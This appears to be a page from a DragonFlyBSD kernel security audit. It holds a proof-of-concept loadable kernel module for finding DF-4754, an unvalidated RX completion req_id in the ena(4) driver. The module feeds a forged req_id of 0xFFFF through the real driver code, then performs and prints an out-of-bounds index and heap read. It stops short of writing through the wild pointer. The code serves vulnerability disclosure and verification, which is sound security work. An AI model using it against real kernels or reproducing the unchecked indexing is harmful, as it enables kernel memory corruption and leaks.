⬢ DragonFlyBSD Kernel Audit
DF-4754 / df_rxreqid.c
← back to finding ↓ download raw
/*
 * DF-4754 proof-of-concept harness (kld module).
 *
 * Finding: ena_com_rx_pkt() (ena-com/ena_eth_com.c:536-542) copies the
 * device-controlled RX completion req_id (u16) into ena_rx_ctx.ena_bufs[]
 * WITHOUT any bounds check -- in contrast to the TX completion path,
 * ena_com_tx_comp_req_id_get() (ena_eth_com.c:614), which rejects
 * cdesc->req_id >= io_cq->q_depth.  The driver consumer ena_rx_mbuf()
 * (ena.c:1459/1491) then does:
 *         rx_info = &rx_ring->rx_buffer_info[req_id];
 * where rx_buffer_info has ring_size (== io_cq->q_depth) entries
 * (allocated at ena.c:736).  A hostile/compromised host (the ENA "device"
 * is the hypervisor) that DMAs a completion with req_id=0xFFFF drives an
 * out-of-bounds index ~4 MB past the array, and the driver then reads
 * rx_info->mbuf / rx_info->map / rx_info->ena_buf from foreign kernel
 * heap and ultimately writes through the resulting wild mbuf pointer
 * (mbuf->m_flags |= M_PKTHDR, m_pkthdr.len = <attacker len>, ...) and
 * leaks the memory it points at into the network stack.
 *
 * This module compiles the REAL /usr/src ena_eth_com.c (see Makefile)
 * and drives it with a synthesized completion ring holding exactly what
 * a hostile device would present. No ENA hardware required.
 *
 * DF-4754 / DragonFly 6.x ena(4)
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/errno.h>

#include "ena_eth_com.h"

int ena_log_level;		/* satisfies ena_plat.h extern (0 = quiet) */

#define FAKE_QD		1024	/* == adapter->rx_ring_size == io_cq->q_depth */
#define EVIL_REQ_ID	0xFFFF	/* u16 device-controlled; ring holds 1024 */

/* Mirrors the driver's struct ena_rx_buffer (ena.h:201-205):
 *   { struct mbuf *mbuf; bus_dmamap_t map; struct ena_com_buf ena_buf; }
 *   __cachealign -> 64 bytes. rx_buffer_info is allocated with ring_size
 *   entries at ena.c:736. */
struct df_rxbuf {
	void	*mbuf;
	void	*map;
	uint64_t paddr;
	uint16_t len;
} __attribute__((aligned(64)));

MALLOC_DEFINE(M_DF4754, "df4754", "DF-4754 harness");

static int
df4754_run(void)
{
	struct ena_com_io_cq io_cq;
	struct ena_com_io_sq io_sq;
	struct ena_com_rx_ctx ctx;
	struct ena_com_rx_buf_info bufs[19];
	struct df_rxbuf *ring;
	struct ena_eth_io_rx_cdesc_base *rcd;
	struct ena_eth_io_tx_cdesc *tcd;
	uint16_t req_id_out = 0;
	volatile struct df_rxbuf *oob;
	void *cq_mem;
	int rc;

	kprintf("DF4754: [1] TX contrast: device req_id IS validated (ena_eth_com.c:614)\n");
	memset(&io_cq, 0, sizeof(io_cq));
	io_cq.q_depth = FAKE_QD;
	io_cq.cdesc_entry_size_in_bytes = sizeof(*tcd);
	io_cq.direction = ENA_COM_IO_QUEUE_DIRECTION_TX;
	io_cq.phase = 1;
	cq_mem = kmalloc(FAKE_QD * sizeof(*tcd), M_DF4754, M_WAITOK | M_ZERO);
	io_cq.cdesc_addr.virt_addr = cq_mem;
	tcd = (struct ena_eth_io_tx_cdesc *)cq_mem;
	tcd->req_id = EVIL_REQ_ID;
	tcd->flags = 0x1;			/* phase match */
	rc = ena_com_tx_comp_req_id_get(&io_cq, &req_id_out);
	kprintf("DF4754: tx_comp_req_id_get(req_id=0x%04x) rc=%d (EINVAL=%d) -> %s\n",
	    EVIL_REQ_ID, rc, EINVAL,
	    rc == EINVAL ? "REJECTED by bounds check" : "ACCEPTED (unexpected)");
	kfree(cq_mem, M_DF4754);

	kprintf("DF4754: [2] RX path: same device req_id, NO validation (ena_eth_com.c:540)\n");
	memset(&io_cq, 0, sizeof(io_cq));
	memset(&io_sq, 0, sizeof(io_sq));
	io_cq.q_depth = FAKE_QD;
	io_cq.cdesc_entry_size_in_bytes = sizeof(*rcd);
	io_cq.direction = ENA_COM_IO_QUEUE_DIRECTION_RX;
	io_cq.phase = 1;
	cq_mem = kmalloc(FAKE_QD * sizeof(*rcd), M_DF4754, M_WAITOK | M_ZERO);
	io_cq.cdesc_addr.virt_addr = cq_mem;
	rcd = (struct ena_eth_io_rx_cdesc_base *)cq_mem;
	rcd->status = (1u << 24) | (1u << 27);	/* PHASE | LAST */
	rcd->length = 0x4141;			/* attacker-chosen mbuf length */
	rcd->req_id = EVIL_REQ_ID;		/* hostile device payload */

	memset(&ctx, 0, sizeof(ctx));
	memset(bufs, 0, sizeof(bufs));
	ctx.ena_bufs = bufs;
	ctx.max_bufs = 19;			/* adapter->max_rx_sgl_size (<=19) */

	rc = ena_com_rx_pkt(&io_cq, &io_sq, &ctx);
	kprintf("DF4754: ena_com_rx_pkt rc=%d descs=%u\n", rc, ctx.descs);
	kprintf("DF4754: ena_bufs[0].len=0x%04x ena_bufs[0].req_id=0x%04x %s\n",
	    bufs[0].len, bufs[0].req_id,
	    bufs[0].req_id == EVIL_REQ_ID ?
	    "*** UNVALIDATED req_id PROPAGATED TO DRIVER ***" : "rejected");

	kprintf("DF4754: [3] driver consumer (ena.c:1459): rx_buffer_info[req_id]\n");
	ring = kmalloc(sizeof(*ring) * FAKE_QD, M_DF4754, M_WAITOK | M_ZERO);
	kprintf("DF4754: rx_buffer_info=%p (%d entries, %zu bytes, ena.c:736)\n",
	    ring, FAKE_QD, sizeof(*ring) * FAKE_QD);
	kprintf("DF4754: ena.c:1459 rx_info = &rx_buffer_info[0x%04x] -> %p  (%+zd KB past ring end)\n",
	    bufs[0].req_id, &ring[bufs[0].req_id],
	    (((char *)&ring[bufs[0].req_id] - (char *)ring)
	      - (ssize_t)(sizeof(*ring) * FAKE_QD)) / 1024);

	/* The exact dereferences the driver performs next (ena.c:1462,1464):
	 * mbuf = rx_info->mbuf;  then mbuf->m_flags |= M_PKTHDR ... */
	oob = &ring[bufs[0].req_id];
	kprintf("DF4754: OOB read rx_info->mbuf         = %p  (wild mbuf*)\n",
	    oob->mbuf);
	kprintf("DF4754: OOB read rx_info->ena_buf.paddr = 0x%016jx\n",
	    (uintmax_t)oob->paddr);
	kprintf("DF4754: RESULT: hostile cdesc req_id reached driver indexing OOB\n");
	/* We deliberately do NOT continue into mbuf->m_flags |= M_PKTHDR /
	 * m_pkthdr.len writes through the wild pointer: propagation + OOB
	 * indexing + OOB read are proven above. */

	return 0;
}

static int
df4754_handler(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		df4754_run();
		kprintf("DF4754: harness complete\n");
		break;
	default:
		break;
	}
	return (0);
}

static moduledata_t df4754_mod = { "df_rxreqid", df4754_handler, NULL };
DECLARE_MODULE(df_rxreqid, df4754_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df_rxreqid, 1);